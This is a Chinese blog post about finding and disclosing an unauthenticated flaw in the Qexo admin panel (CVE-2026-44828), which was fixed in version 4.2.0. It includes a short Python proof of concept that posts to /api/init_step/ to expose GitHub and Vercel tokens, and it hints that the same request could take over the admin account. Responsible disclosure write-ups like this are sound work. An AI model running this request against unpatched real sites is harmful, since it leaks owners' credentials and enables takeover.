我是如何水到 Qexo 的一个高危漏洞的(9.3分)?
初见端倪H1#
使用平台扫描到漏洞H2#
看某公众号的文章时偶然发现长亭旗下的MonkeyScan平台正在进行公测(注册就送3000 Credits,200行1个credit),本着可以不用但不能没有的心态,就注册了一个玩玩,先被我测试的是mx-space/core(因为我自己博客在用),但有价值的似乎就一个头像链内链引发的SSRF(实测下来其实无价值)然后又测试了下Tinder
突然间Qexo就冒到我脑海中(虽说hexo我也有好久没用了,但Qexo我毕竟贡献过代码),就扔后台扫了扫,这回高危列表里有一个吸引了我:

未认证用户也可触发?有点意思啊。于是立即尝试复现
尝试复现H2#
(由于之前的Qexo被我删了,重新部署就遇到了问题)
立即进行相关设置,进入后台
结果我忘记抓包保存了……,等到后面耽误了点时间。
首先在浏览器中访问 ~/api/init_step/ 但返回404,查阅代码发现要用POST请求
于是乎打开ApiFox,发送……

什么!? CSRF不通过?CSRF是什么啊?
CSRF(Cross-Site Request Forgery),即跨站请求伪造,是一种网络安全攻击。
简单来说,攻击者诱导用户在已登录目标网站(如银行、邮箱)的情况下,点击恶意链接或访问攻击者控制的网站,从而在用户不知情时,借用其身份向目标网站发送一个伪造请求(如修改密码、转账)。由于请求携带了用户的登录凭证,目标网站会误以为是用户的合法操作。
常见的防御手段包括使用CSRF Token(要求请求附带服务器生成的随机令牌)、设置Cookie的SameSite属性(限制第三方请求携带Cookie),或通过验证Referer头等来检查请求来源。
交给ChatGPT问了下,好烦,就用Python复现了吧。
import requests
BASE_URL = "https://admin.trfox.top"
session = requests.Session()
# 1️⃣ 访问首页获取 CSRF
resp = session.get(BASE_URL)
csrftoken = session.cookies.get("csrftoken")
print("CSRF Token:", csrftoken)
# 2️⃣ 正确请求 Step 1
url = BASE_URL + "/api/init_step/"
headers = {
"Referer": BASE_URL + "/",
"X-CSRFToken": csrftoken,
"X-Requested-With": "XMLHttpRequest",
}
response = session.post(url, headers=headers)
print("Status:", response.status_code)
print("Response:", response.text)结果又遇到问题:返回信息如下(操作失败):
{
"msg": "\u64cd\u4f5c\u5931\u8d25!",
"status": false,
"current_step": null,
"context": {}
}Why? 遂返回平台阅读细节,原来请求时有一个data要发送,格式如下:
{
"step": "1",
"language": "zh_CN",
"csrfmiddlewaretoken": csrftoken,
}修改代码,运行成功,此时访问Qexo,可以看到:

没错,Github 和 Vercel Token 直接暴露在了前端,全程无需认证,无需管理员点击,即可看到 Token。
(其实初期看到报告以为只是能创建新的管理员并覆盖旧设置(理论上把上面的data修改为step=2,并附加相关数据即可),但没想到最终结果竟然是拿到Github和Vercel Token进行进一步的利用,也算是远超预期了吧。)
联系作者H1#
由于Qexo当时还没有设置security policy,于是在QQ上联系了abudu:

(双方都是高三生,都好忙)
一番设置后成功进入 report vulnerable 界面,开始写相关报告(因为这个漏洞触发太简单了,所以一开始的报告相当简略):

根据CVSS4.0标准,这个漏洞拿到了9.3分!!!
CWE的话则是:
- Improper Access Control (CWE-284)
- Insufficiently Protected Credentials (CWE-522)
- Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
- Missing Authentication for Critical Function (CWE-306)
进入修复流程H1#
abudu 5月1号傍晚挺忙的,但他挺注意这件事,在当晚一有空就立即修复了相关漏洞(点赞)。


漏洞正式被披露&领到CVE编号H1#
- 5月2号PR被合并,Qexo 4.2.0发布
- 5月8号CVE被正式发放,编号为:
CVE-2026-44828 - 6月15号漏洞正式在Github予以披露
总结:H1#
这回也确实算是撞大运了吧,恰好用AI扫到了这个漏洞(而且是超高危的),然后恰好也对这方面略熟悉,立刻提交了漏洞(这种机会真的是先到先得),但对攻击者亦是如此。
Abudu 说这应该是前段时间vibe时出现的问题,不得不感慨AI对大型工程的理解与安全控制方面还有相当多欠缺。
不过好在Qexo4目前的用户暂时不多,而且被我(啊不对是AI)率先发现了,报告给作者(自豪),没有太大影响,但还是建议各位立刻升级。
这枚CVE编号,就算是我18岁的生日礼物吧(感觉是最有价值的一个了)。